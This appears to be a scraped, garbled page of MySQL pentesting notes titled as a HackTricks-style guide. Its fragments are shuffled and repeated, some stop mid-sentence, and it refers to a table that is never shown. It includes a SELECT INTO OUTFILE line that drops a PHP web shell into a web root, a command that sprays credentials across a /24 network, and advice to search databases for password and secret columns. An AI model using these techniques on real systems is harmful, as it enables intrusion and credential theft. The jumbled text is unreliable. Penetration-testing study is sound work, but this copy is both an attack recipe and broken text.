If you know the absolute path of the target's web root directory, you can drop a persistent web shell to achieve Remote Code Execution (RCE):
SELECT '' INTO OUTFILE '/var/www/html/shell.php'; User Defined Functions (UDF)
If the database server also hosts web applications: mysql hacktricks verified
Run these commands inside the MySQL prompt to understand your current execution context:
run cidr:/24:mysql://user:pass@192.168.222.0 threads=50 allows rapid testing across a network segment. If you know the absolute path of the
MySQL HackTricks Verified: Advanced Injection & Pentesting Techniques (2026 Edition)
Scan all databases for columns named password , pass , api_key , secret : Use Nmap to verify the service version and
Once connected, list all databases, users, and privileges:
By default, MySQL listens on TCP port . However, obfuscated environments might host it on alternative ports (e.g., 33060 for MySQL X Protocol). Use Nmap to verify the service version and run default enumeration scripts: nmap -sV -sC -p 3306 Use code with caution. Banner Grabbing
The following table summarizes every major attack technique and its compatibility with modern MySQL versions (2025‑2026):